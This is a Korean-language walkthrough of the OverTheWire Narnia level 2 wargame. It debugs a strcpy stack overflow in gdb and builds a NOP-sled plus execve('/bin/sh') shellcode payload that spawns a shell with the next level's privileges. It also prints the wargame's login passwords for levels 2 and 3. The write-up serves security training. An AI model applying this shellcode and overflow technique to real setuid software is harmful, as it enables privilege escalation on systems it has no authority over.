ssh -p 2226 narnia2@narnia.labs.overthewire.org
pw: nairiepecu
/narnia/ 디렉터리에서 narnia2.c파일의 내용을 확인해보자
// narnia2.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
소스코드를 확인해봤을 때 main 함수에서 인자값을 받고 있고, 조건문에서 인자값이 있는지 확인을 하고 있다.
그리고 strcpy함수에서 인자값을 buf 변수에 복사하고 있다.
strcpy 함수에서 스택 오버플로우 취약점이 발생하므로 전형적인 스택 오버플로우 문제인 것 같다.
공격에 필요한 정보는 다음과 같다
gdb 툴을 사용하여 eip를 탈취하기 위해 바이트 수를 구해보자
narnia2@narnia:/narnia$ mkdir /tmp/narnia2_tmp
narnia2@narnia:/narnia$ cp narnia2 /tmp/narnia2_tmp
narnia2@narnia:/narnia$ cd /tmp/narnia2_tmp
narnia2@narnia:/tmp/narnia2_tmp$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: add $0xffffff80,%esp
0x08048451 <+6>: cmpl $0x1,0x8(%ebp)
0x08048455 <+10>: jne 0x8048471 <main+38>
0x08048457 <+12>: mov 0xc(%ebp),%eax
0x0804845a <+15>: mov (%eax),%eax
0x0804845c <+17>: push %eax
---Type <return> to continue, or q <return> to quit---
0x0804845d <+18>: push $0x8048520
0x08048462 <+23>: call 0x8048300 <printf@plt>
0x08048467 <+28>: add $0x8,%esp
0x0804846a <+31>: push $0x1
0x0804846c <+33>: call 0x8048320 <exit@plt>
0x08048471 <+38>: mov 0xc(%ebp),%eax
0x08048474 <+41>: add $0x4,%eax
0x08048477 <+44>: mov (%eax),%eax
0x08048479 <+46>: push %eax
---Type <return> to continue, or q <return> to quit---
0x0804847a <+47>: lea -0x80(%ebp),%eax
0x0804847d <+50>: push %eax
0x0804847e <+51>: call 0x8048310 <strcpy@plt>
0x08048483 <+56>: add $0x8,%esp
0x08048486 <+59>: lea -0x80(%ebp),%eax
0x08048489 <+62>: push %eax
0x0804848a <+63>: push $0x8048534
0x0804848f <+68>: call 0x8048300 <printf@plt>
0x08048494 <+73>: add $0x8,%esp
---Type <return> to continue, or q <return> to quit---
0x08048497 <+76>: mov $0x0,%eax
0x0804849c <+81>: leave
0x0804849d <+82>: ret
End of assembler dump.
(gdb)
buf와 return address의 주소를 구하기 위해 main, main+51에 breakpoint를 걸고, return address를 확인해보자
(gdb) b *main
Breakpoint 1 at 0x804844b
(gdb) b *main+51
Breakpoint 2 at 0x804847e
(gdb) r AAAA
Starting program: /tmp/narnia2_tmp/narnia2 AAAA
Breakpoint 1, 0x0804844b in main ()
(gdb) info reg esp
esp 0xffffd69c 0xffffd69c
(gdb) x/4xw 0xffffd69c
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
(gdb)
이제 buf의 주소를 구해보자
(gdb) c
Continuing.
Breakpoint 2, 0x0804847e in main ()
(gdb) info reg esp
esp 0xffffd610 0xffffd610
(gdb) x/4xw 0xffffd610
0xffffd610: 0xffffd618 0xffffd887 0x002c307d 0x00000000
(gdb)
마지막으로 두 주소 사이의 바이트 값을 구하자
(gdb) p 0xffffd69c - 0xffffd618
$1 = 132
(gdb)
buf의 주소를 앞에서 구했는데 왜 또 구하냐고 생각할 수도 있다.
하지만 앞에서 프로그램 실행시 인자값으로 넘겨줬던 인자값의 길이는 4바이트밖에 되지 않는다.
만약 우리가 132바이트를 인자로 넘겨준다면 스택에는 그만큼 바이트가 쌓이게 되고, buf의 주소도 변경돼버린다.
이제 앞에서 했던 방법과 동일하게 buf의 주소를 구해보자
narnia2@narnia:/tmp/narnia2_tmp$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: add $0xffffff80,%esp
0x08048451 <+6>: cmpl $0x1,0x8(%ebp)
0x08048455 <+10>: jne 0x8048471 <main+38>
0x08048457 <+12>: mov 0xc(%ebp),%eax
0x0804845a <+15>: mov (%eax),%eax
0x0804845c <+17>: push %eax
0x0804845d <+18>: push $0x8048520
0x08048462 <+23>: call 0x8048300 <printf@plt>
0x08048467 <+28>: add $0x8,%esp
0x0804846a <+31>: push $0x1
0x0804846c <+33>: call 0x8048320 <exit@plt>
0x08048471 <+38>: mov 0xc(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x08048474 <+41>: add $0x4,%eax
0x08048477 <+44>: mov (%eax),%eax
0x08048479 <+46>: push %eax
0x0804847a <+47>: lea -0x80(%ebp),%eax
0x0804847d <+50>: push %eax
0x0804847e <+51>: call 0x8048310 <strcpy@plt>
0x08048483 <+56>: add $0x8,%esp
0x08048486 <+59>: lea -0x80(%ebp),%eax
0x08048489 <+62>: push %eax
0x0804848a <+63>: push $0x8048534
0x0804848f <+68>: call 0x8048300 <printf@plt>
0x08048494 <+73>: add $0x8,%esp
0x08048497 <+76>: mov $0x0,%eax
0x0804849c <+81>: leave
0x0804849d <+82>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb) b *main
Breakpoint 1 at 0x804844b
(gdb) b *main+51
Breakpoint 2 at 0x804847e
(gdb) b *main+81
Breakpoint 3 at 0x804849c
마지막에 return address 주소가 제대로 덮어졌는지 확인하기 위해 main+81에도 breakpoint를 걸어줬다.
프로그램을 실행시킬 때는 132 바이트의 dummy+shellcode, 그리고 return address로 들어갈 AAAA 4바이트를 넣어서 실행시키자
(gdb) r `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "AAAA"'`
Starting program: /tmp/narnia2_tmp/narnia2 `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "AAAA"'`
Breakpoint 1, 0x0804844b in main ()
(gdb) x/4xw $esp
0xffffd61c: 0xf7e2a286 0x00000002 0xffffd6b4 0xffffd6c0
(gdb) c
Continuing.
Breakpoint 2, 0x0804847e in main ()
(gdb) x/4xw $esp
0xffffd590: 0xffffd598 0xffffd803 0x002c307d 0x00000000
(gdb)
return address의 주소는 0xffffd61c이고, buf의 주소는 0xffffd598이다.
이제 다시 프로그램을 진행시켜서 return address가 제대로 덮어졌는지 확인해보자
(gdb) c
Continuing.
Breakpoint 3, 0x0804849c in main ()
(gdb) x/4xw 0xffffd61c
0xffffd61c: 0x41414141 0x00000000 0xffffd6b4 0xffffd6c0
(gdb)
return address가 우리가 넣어준 AAAA(\x41\x41\x41\x41)로 덮어써진 것을 확인할 수 있다.
이제 페이로드를 작성해보자
이제 필요한 정보를 모두 모았으므로 페이로드를 작성해보자
원래 base 스택의 구조와 exploit 시 덮어씌워질 스택의 구조는 다음과 같다.
base 스택 | buf(128bytes)+ebp | return address | ||
---|---|---|---|---|
exploit 스택 | NOP(107bytes)+shellcode(25bytes) | buf의 주소 |
exploit 코드는 아래와 같다.
/narnia/narnia2 python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "\xca\xd5\xff\xff"'
우리가 gdb 툴에서 구한 buf의 주소는 0xffffd598 이지만 파일명의 길이나 환경변수에 따라 주소가 조금씩 변경될 수있기 때문에 shellcode 앞에 NOP을 넣어놓고, buf의 주소에 0x32(50) 을 더해서 exploit 코드를 작성했다.
core dump가 발생했다.
gdb를 통해 무엇이 문제인지 확인해보자
narnia2@narnia:/tmp/narnia2_tmp$ gdb narnia2 core
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
---Type <return> to continue, or q <return> to quit---
Type "apropos word" to search for commands related to "word"...
Reading symbols from narnia2...(no debugging symbols found)...done.
[New LWP 12674]
Core was generated by `./narnia2 ���������������������������������������������������������������������
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xffffd59a in ?? ()
(gdb) x/30xw 0xffffd59a
0xffffd59a: 0x0000f7e5 0x00020000 0x50000000 0xd658f7fc
0xffffd5aa: 0xb7f6ffff 0x5d60f7e5 0x8534f7fc 0xd5d80804
0xffffd5ba: 0xb7d0ffff 0xd5d8f7e5 0xd920ffff 0xb7d5f7ff
0xffffd5ca: 0x8494f7e5 0x85340804 0xd5d80804 0x9090ffff
0xffffd5da: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5fa: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd60a: 0x90909090 0x90909090
(gdb)
아마 어떤 이유로 스택이 밀려 buf의 주소가 이동한 것 같다. 0xffffd5da에 우리가 적성한 NOP이 있으므로 return address의 주소를 0xffffd5da로 바꾼 후에 다시 입력해보자
narnia2@narnia:/tmp/narnia2_tmp$ ./narnia2 `python -c 'print "\x90"*90 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*17 + "\xda\xd5\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) groups=14002(narnia2)
$
공격에 성공했다.
이제 첫번째 인자를 /narnia/narnia2로 변경한 후에 다시 공격해보자
narnia2@narnia:/tmp/narnia2_tmp$ /narnia/narnia2 `python -c 'print "\x90"*90 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*17 + "\xda\xd5\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2)
$
쉘을 획득했다.
id: narnia3
pw: vaequeezee